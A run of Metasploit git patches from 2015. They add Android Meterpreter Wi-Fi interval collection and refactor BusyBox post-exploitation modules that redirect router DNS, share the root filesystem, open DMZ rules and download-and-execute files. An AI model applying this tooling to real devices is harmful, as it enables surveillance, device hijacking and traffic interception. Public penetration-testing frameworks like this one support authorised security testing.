+30,7 @@ class Metasploit3 < Msf::Post register_options( [ - OptString.new( 'SCRIPT', [true, 'Path to the PS script or command string to execute' ]), + OptString.new( 'SCRIPT', [true, 'Path to the local PS script or command string to execute' ]), ], self.class) register_advanced_options( @@ -40,22 +40,18 @@ class Metasploit3 < Msf::Post end - - def run # Make sure we meet the requirements before running the script, note no need to return # unless error raise "Powershell not available" if ! have_powershell? - # Preprocess the Powershell::Script object with substitions from Exploit::Powershell - script = make_subs(read_script(datstore['SCRIPT']),process_subs(datstore['SUBSTITUTIONS'])) + # Preprocess the Powershell::Script object with substitions from Exploit::Powershell + script = make_subs(read_script(datstore['SCRIPT']),process_subs(datstore['SUBSTITUTIONS'])) - # Execute in session + # Execute in session print_status psh_exec(script) print_good('Finished!') end - - end diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 7afb15379d..8707cb705e 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post register_options( [ - OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), + OptPath.new( 'SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), ], self.class) register_advanced_options( diff --git a/modules/post/windows/manage/powershell/load_script.rb b/modules/post/windows/manage/powershell/load_script.rb index 77ddebfc97..e3d270f9e9 100644 --- a/modules/post/windows/manage/powershell/load_script.rb +++ b/modules/post/windows/manage/powershell/load_script.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Post register_options( [ - OptPath.new( 'SCRIPT', [false, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), - OptPath.new( 'FOLDER', [false, 'Path to a folder of PS scripts']) + OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]), + OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts']) ], self.class) end From 92958bdf8b2620c50f1e51616736d53c8f62ff9b Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Sun, 16 Aug 2015 11:21:22 -0500 Subject: [PATCH 0299/2172] prefer && to 'and' for consistent order-of-operations --- lib/msf/core/handler/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6a92c6e416..fb643c2fea 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -94,7 +94,7 @@ module ReverseHttp callback_host = nil # Extract whatever the client sent us in the Host header - if req and req.headers and req.headers['Host'] + if req && req.headers && req.headers['Host'] callback_host = req.headers['Host'] end From 241593117b65ce7f3ffca525dc21209e305e7cc0 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 18 Aug 2015 00:53:25 +1000 Subject: [PATCH 0300/2172] First pass of the android interval collection --- .../meterpreter/extensions/android/android.rb | 65 +++++++++++++ .../meterpreter/extensions/android/tlv.rb | 64 +++++++------ .../ui/console/command_dispatcher/android.rb | 91 +++++++++++++++++-- 3 files changed, 185 insertions(+), 35 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 86ea185dc4..750e1b5cf6 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -15,6 +15,27 @@ module Android # extension by Anwar Mohamed (@anwarelmakrahy) ### class Android < Extension + + COLLECT_TYPE_WIFI = 1 + + COLLECT_ACTION_START = 1 + COLLECT_ACTION_PAUSE = 2 + COLLECT_ACTION_RESUME = 3 + COLLECT_ACTION_STOP = 4 + COLLECT_ACTION_DUMP = 5 + + COLLECT_TYPES = { + 'wifi' => COLLECT_TYPE_WIFI + } + + COLLECT_ACTIONS = { + 'start' => COLLECT_ACTION_START, + 'pause' => COLLECT_ACTION_PAUSE, + 'resume' => COLLECT_ACTION_START, + 'stop' => COLLECT_ACTION_STOP, + 'dump' => COLLECT_ACTION_DUMP + } + def initialize(client) super(client, 'android') @@ -29,6 +50,14 @@ class Android < Extension ]) end + def collect_actions + return @@collect_action_list ||= COLLECT_ACTIONS.keys + end + + def collect_types + return @@collect_type_list ||= COLLECT_TYPES.keys + end + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) @@ -36,6 +65,42 @@ class Android < Extension response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value end + def interval_collect(opts) + request = Packet.create_request('interval_collect') + request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) + request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) + request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) + response = client.send_request(request) + + result = { + headers: [], + collections: [] + } + + case COLLECT_TYPES[opts[:type]] + when COLLECT_TYPE_WIFI + result[:headers] = ['BSSID', 'SSID', 'Level'] + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + collection = { + timestamp: g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP), + entries: [] + } + + g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| + collection[:entries] << [ + w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID), + w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID), + 0x100000000 - w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + ] + end + + result[:collections] << collection + end + end + + result + end + def dump_sms sms = [] request = Packet.create_request('dump_sms') diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index b95b2119ac..55925b60cb 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -7,40 +7,52 @@ module Meterpreter module Extensions module Android -TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) -TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) -TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) -TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) -TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) -TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) -TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) -TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) -TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) -TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) -TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) -TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) -TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) -TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) -TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) -TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) -TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) -TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) -TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) -TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) -TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) -TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) -TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) -TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) -TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) -TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) + +TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050) +TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051) +TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052) +TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053) +TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054) + +# Reuse existing IDs for these +TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP +TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID +TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID +TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 7891523682..4160666e4f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -2,6 +2,7 @@ require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' require 'rex/google/geolocation' +require 'date' module Rex module Post @@ -27,18 +28,20 @@ class Console::CommandDispatcher::Android 'check_root' => 'Check if device is rooted', 'device_shutdown' => 'Shutdown device', 'send_sms' => 'Sends SMS from target session', - 'wlan_geolocate' => 'Get current lat-long using WLAN information' + 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'interval_collect' => 'Manage interval collection capabilities' } reqs = { - 'dump_sms' => [ 'dump_sms' ], - 'dump_contacts' => [ 'dump_contacts' ], - 'geolocate' => [ 'geolocate' ], - 'dump_calllog' => [ 'dump_calllog' ], - 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'], - 'send_sms' => [ 'send_sms' ], - 'wlan_geolocate' => [ 'wlan_geolocate' ] + 'dump_sms' => ['dump_sms'], + 'dump_contacts' => ['dump_contacts'], + 'geolocate' => ['geolocate'], + 'dump_calllog' => ['dump_calllog'], + 'check_root' => ['check_root'], + 'device_shutdown' => ['device_shutdown'], + 'send_sms' => ['send_sms'], + 'wlan_geolocate' => ['wlan_geolocate'], + 'interval_collect' => ['interval_collect'] } # Ensure any requirements of the command are met @@ -47,6 +50,76 @@ class Console::CommandDispatcher::Android end end + def interval_collect_usage + print_line('Usage: interval_collect <parameters>') + print_line + print_line('Specifies an action to perform on a collector type.') + print_line + print_line(@@interval_collect_opts.usage) + end + + def cmd_interval_collect(*args) + @@interval_collect_opts ||= Rex::Parser::Arguments.new( + '-h' => [false, 'Help Banner'], + '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"], + '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"], + '-t' => [true, 'Collect poll timeout period in seconds (default: 30)'] + ) + + opts = { + action: nil, + type: nil, + timeout: 30 + } + + @@interval_collect_opts.parse(args) do |opt, idx, val| + case opt + when '-a' + opts[:action] = val.downcase + when '-c' + opts[:type] = val.downcase + when '-t' + opts[:timeout] = val.to_i + opts[:timeout] = 30 if opts[:timeout] <= 0 + end + end + + unless client.android.collect_actions.include?(opts[:action]) + interval_collect_usage + return + end + + type = args.shift.downcase + + unless client.android.collect_types.include?(opts[:type]) + interval_collect_usage + return + end + + + result = client.android.interval_collect(opts) + if result[:headers].length > 0 && result[:collections].length > 0 + result[:collections].each do |c| + time = Time.at(c[:timestamp]).to_datetime + table = Rex::Ui::Text::Table.new( + 'Header' => "Captured #{opts[:type]} data at #{time.strftime('%Y-%m-%d %H:%M:%S')}", + 'SortIndex' => -1, + 'Columns' => result[:headers], + 'Indent' => 0 + ) + + c[:entries].each do |e| + table << e + end + + print_line + print_line(table.to_s) + end + else + print_good('Interval action completed successfully') + end + end + def cmd_device_shutdown(*args) seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( From e7433b81bd87548d623a954c6276be16e290af9b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 10:28:10 -0500 Subject: [PATCH 0301/2172] Reuse architecture check --- .../post/windows/gather/credentials/enum_cred_store.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index b81974452c..3a745ee044 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -29,8 +29,12 @@ class Metasploit3 < Msf::Post #RAILGUN HELPER FUNCTIONS ############################ def is_86 - pid = session.sys.process.open.pid - return session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + if @is_86_check.nil? + pid = session.sys.process.open.pid + @is_86_check = session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + end + + @is_86_check end def pack_add(data) From a5bed0198a2b3017fe1bd3cfc3d1a87069d64d70 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 17 Aug 2015 11:08:40 -0500 Subject: [PATCH 0302/2172] Use each_char --- modules/nops/x64/simple.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index 7f4f84e2c5..765a636309 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Nop INSTRUCTIONS.each do | instruction | good = true; # If the instruction contains some bad chars we wont use it... - badchars.each do | bc | + badchars.each_char do | bc | if instruction[I_OP].include?( bc ) good = false break From a9ad7b7c6f9aa19c111122485fe97453651ea261 Mon Sep 17 00:00:00 2001 From: jvicente <javier.vicente@byteheed.com> Date: Mon, 17 Aug 2015 18:24:22 +0200 Subject: [PATCH 0303/2172] Modifications to use cmd_exec instead of session.shell_write. Refactoring of common functions to a new Post mixin /lib/msf/core/post/linux/busybox.rb. --- lib/msf/core/post/linux.rb | 1 + lib/msf/core/post/linux/busybox.rb | 82 +++++++++++++++++++ .../linux/gather/busybox_enum_connections.rb | 12 +-- .../post/linux/gather/busybox_enum_hosts.rb | 10 +-- modules/post/linux/gather/busybox_pingnet.rb | 15 ++-- modules/post/linux/manage/busybox_setdmz.rb | 3 - modules/post/linux/manage/busybox_setdns.rb | 48 +---------- .../linux/manage/busybox_smb_share_root.rb | 24 +----- .../post/linux/manage/busybox_wgetandexec.rb | 37 +-------- 9 files changed, 101 insertions(+), 131 deletions(-) create mode 100644 lib/msf/core/post/linux/busybox.rb diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb index b056fff87c..8abdb67477 100644 --- a/lib/msf/core/post/linux.rb +++ b/lib/msf/core/post/linux.rb @@ -2,4 +2,5 @@ module Msf::Post::Linux require 'msf/core/post/linux/priv' require 'msf/core/post/linux/system' + require 'msf/core/post/linux/busybox' end diff --git a/lib/msf/core/post/linux/busybox.rb b/lib/msf/core/post/linux/busybox.rb new file mode 100644 index 0000000000..f11a919368 --- /dev/null +++ b/lib/msf/core/post/linux/busybox.rb @@ -0,0 +1,82 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf +class Post +module Linux +module Busybox + + include ::Msf::Post::File + + # + #file? doesnt work because test -f is not implemented in busybox + # + def file_exists(file_path) + s = read_file(file_path) + if s and s.length + return true + end + return false + end + + # + #This function checks if the target directory is writable + # + def is_writable_directory(directory_path) + retval = false + rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} + file_path = directory_path + "/" + rand_str + cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1) + (1..5).each{session.shell_read(); Rex::sleep(0.1)} + rcv = read_file(file_path) + if rcv.include? (rand_str+"XXX"+rand_str) + retval = true + end + cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1) + return retval + end + + # + #This function checks if the target file is writable and writes or append the data given as parameter. + #BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for + #this reason it is necessary to implement an specific function + # + def is_writable_and_write(file_path, data, append) + if append + data = read_file(file_path) + "\n" + data + end + rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} + cmd_exec("echo #{rand_str} > #{file_path}\n"); Rex::sleep(0.1) + session.shell_read(); Rex::sleep(0.1) + if read_file(file_path).include? rand_str + cmd_exec("echo \"\"> #{file_path}\n"); Rex::sleep(0.1) + session.shell_read(); Rex::sleep(0.1) + lines = data.lines.map(&:chomp) + lines.each do |line| + cmd_exec("echo #{line.chomp} >> #{file_path}\n"); Rex::sleep(0.1) + session.shell_read(); Rex::sleep(0.1) + end + return true + else + return false + end + end + + # + #This function will check some directories that usually are writable in devices running busybox + #If the function finds a writable directory, it returns the path. Else it returns nil + # + def get_writable_directory() + writable_directory = nil + writable_directory = "/etc/" if is_writable_directory("/etc") + writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) + writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var")) + writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp")) + return writable_directory + end + +end # Busybox +end # Linux +end # Post +end # Msf diff --git a/modules/post/linux/gather/busybox_enum_connections.rb b/modules/post/linux/gather/busybox_enum_connections.rb index 2c9bf79277..4dd2a01a79 100644 --- a/modules/post/linux/gather/busybox_enum_connections.rb +++ b/modules/post/linux/gather/busybox_enum_connections.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Linux::Busybox def initialize super( @@ -27,8 +28,6 @@ class Metasploit3 < Msf::Post ) end - - def run found = false conns_files =[ @@ -56,13 +55,4 @@ class Metasploit3 < Msf::Post end end - #file? doesnt work because test -f is not implemented in busybox - def file_exists(file_path) - s = read_file(file_path) - if s and s.length - return true - end - return false - end - end diff --git a/modules/post/linux/gather/busybox_enum_hosts.rb b/modules/post/linux/gather/busybox_enum_hosts.rb index 3e1d5d567c..92d1339c04 100644 --- a/modules/post/linux/gather/busybox_enum_hosts.rb +++ b/modules/post/linux/gather/busybox_enum_hosts.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Linux::Busybox def initialize super( @@ -51,13 +52,4 @@ class Metasploit3 < Msf::Post end end - #file? doesnt work because test -f is not implemented in busybox - def file_exists(file_path) - s = read_file(file_path) - if s and s.length - return true - end - return false - end - end diff --git a/modules/post/linux/gather/busybox_pingnet.rb b/modules/post/linux/gather/busybox_pingnet.rb index d85f0c4b80..7dab96e960 100644 --- a/modules/post/linux/gather/busybox_pingnet.rb +++ b/modules/post/linux/gather/busybox_pingnet.rb @@ -30,16 +30,15 @@ class Metasploit3 < Msf::Post OptAddress.new('IPRANGESTART', [ true, "The first ip address of the range to ping.", nil ]), OptAddress.new('IPRANGEEND', [ true, "The last ip address of the range to ping.", nil ]) ], self.class) - end + # + #this module will send a sh script for busybox shell for doing ping to a range of ip address from + #the router or device that is executing busybox. It could be possible to calculate each ip address + #of the range of ip addresses in the ruby script and execute each ping command with cmd_exec, but + #it would generate an unnecesary traffic in the connection with the busybox device (usually telnet) + # def run - - #this module will send a sh script for busybox shell for doing ping to a range of ip address from - #the router or device that is executing busybox. It could be possible to calculate each ip address - #of the range of ip addresses in the ruby script and execute each ping command with cmd_exec, but - #it would generate an unnecesary traffic in the connection with the busybox device (usually telnet) - sh_script_lines=[ "#!/bin/sh", "param1=#{datastore['IPRANGESTART']}", @@ -156,10 +155,8 @@ class Metasploit3 < Msf::Post end #storing results - p = store_loot("Pingnet", "text/plain", session, full_results, "#{datastore['IPRANGESTART']}"+"-"+"#{datastore['IPRANGEEND']}", "BusyBox Device Network Range Pings") print_good("Pingnet results saved to #{p}.") - end end diff --git a/modules/post/linux/manage/busybox_setdmz.rb b/modules/post/linux/manage/busybox_setdmz.rb index e09f35fc71..befe149940 100644 --- a/modules/post/linux/manage/busybox_setdmz.rb +++ b/modules/post/linux/manage/busybox_setdmz.rb @@ -27,11 +27,9 @@ class Metasploit3 < Msf::Post OptAddress.new('TARGETHOST', [ true, "The address of the host to be target for the dmz", nil ]), OptBool.new('DELETE', [false, "If this option is set to true, the DMZ is removed. Else it is added.", false]) ], self.class) - end def run - if datastore['DELETE'] == true vprint_status("Executing iptables to delete dmz.") vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT")) @@ -43,7 +41,6 @@ class Metasploit3 < Msf::Post vprint_status(cmd_exec("iptables --list")) end print_good("Dmz modified. Enable verbose for additional information.") - end end diff --git a/modules/post/linux/manage/busybox_setdns.rb b/modules/post/linux/manage/busybox_setdns.rb index 5e58417dd4..b283fe1273 100644 --- a/modules/post/linux/manage/busybox_setdns.rb +++ b/modules/post/linux/manage/busybox_setdns.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Linux::Busybox def initialize super( @@ -30,14 +31,13 @@ class Metasploit3 < Msf::Post [ OptAddress.new('SRVHOST', [ true, "The dns server address.", nil ]) ], self.class) - end + # #The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update #udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp - + # def run - workdone = false vprint_status("Searching for files to modify dns server.") if file_exists("/etc/resolv.conf") @@ -61,12 +61,7 @@ class Metasploit3 < Msf::Post print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.") else vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.") - writable_directory = nil - vprint_.status("Trying to find writable directory.") - writable_directory = "/etc/" if is_writable_and_write("/etc/tmp.conf", "x", false) - writable_directory = "/mnt/" if (!writable_directory && is_writable_and_write("/mnt/tmp.conf", "x", false)) - writable_directory = "/var/" if (!writable_directory && is_writable_and_write("/var/tmp.conf", "x", false)) - writable_directory = "/var/tmp/" if (!writable_directory && is_writable_and_write("/var/tmp/tmp.conf", "x", false)) + writable_directory = get_writable_directory() if writable_directory vprint_status("writable directory found, creating a copy of the original udhcpd.conf.") is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", false) @@ -84,41 +79,6 @@ class Metasploit3 < Msf::Post if !workdone print_error("Unable to modify dns server.") end - - end - - #This function checks if the target file is writable and writes or append the data given as parameter. - #BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for - #this reason it is necessary to implement an specific function - - def is_writable_and_write(file_path, data, append) - if append - data = read_file(file_path) + "\n" + data - end - rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - session.shell_write("echo #{rand_str} > #{file_path}\n"); Rex::sleep(0.1) - session.shell_read(); Rex::sleep(0.1) - if read_file(file_path).include? rand_str - session.shell_write("echo \"\"> #{file_path}\n"); Rex::sleep(0.1) - session.shell_read(); Rex::sleep(0.1) - lines = data.lines.map(&:chomp) - lines.each do |line| - session.shell_write("echo #{line.chomp} >> #{file_path}\n"); Rex::sleep(0.1) - session.shell_read(); Rex::sleep(0.1) - end - return true - else - return false - end - end - - #file? doesnt work because test -f is not implemented in busybox - def file_exists(file_path) - s = read_file(file_path) - if s and s.length - return true - end - return false end end diff --git a/modules/post/linux/manage/busybox_smb_share_root.rb b/modules/post/linux/manage/busybox_smb_share_root.rb index 0a16a66b91..3c74443e7a 100644 --- a/modules/post/linux/manage/busybox_smb_share_root.rb +++ b/modules/post/linux/manage/busybox_smb_share_root.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Linux::Busybox def initialize super( @@ -25,7 +26,6 @@ class Metasploit3 < Msf::Post 'Platform' => ['linux'], 'SessionTypes' => ['shell'] ) - end def run @@ -33,11 +33,7 @@ class Metasploit3 < Msf::Post if read_file("/var/samba/smb.conf").length > 0 #file? doesnt work because test -f is not implemented in busybox vprint_status("Smb.conf found.") vprint_status("Trying to find writable directory.") - writable_directory = nil - writable_directory = "/etc/" if is_writable_directory("/etc") - writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) - writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var")) - writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp")) + writable_directory = get_writable_directory() if writable_directory vprint_status("writable directory found, copying smb.conf.") vprint_status(cmd_exec("rm -f #{writable_directory}smb.conf")); Rex::sleep(0.1) @@ -55,20 +51,4 @@ class Metasploit3 < Msf::Post end end - #This function checks if the target directory is writable - def is_writable_directory(directory_path) - retval = false - rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} - file_path = directory_path + "/" + rand_str - session.shell_write("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1) - (1..5).each{session.shell_read(); Rex::sleep(0.1)} - rcv = read_file(file_path) - vprint_status("is_writable_directory:"+rcv) - if rcv.include? (rand_str+"XXX"+rand_str) - retval = true - end - cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1) - return retval - end - end diff --git a/modules/post/linux/manage/busybox_wgetandexec.rb b/modules/post/linux/manage/busybox_wgetandexec.rb index 5b87342e07..c4ededd0c0 100644 --- a/modules/post/linux/manage/busybox_wgetandexec.rb +++ b/modules/post/linux/manage/busybox_wgetandexec.rb @@ -8,6 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Post include Msf::Post::File + include Msf::Post::Linux::Busybox def initialize super( @@ -30,19 +31,15 @@ class Metasploit3 < Msf::Post [ OptString.new('URL', [true, 'Full URL of file to download.']) ], self.class) - end + # #The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update #udhcpd.conf too, with SRVHOST 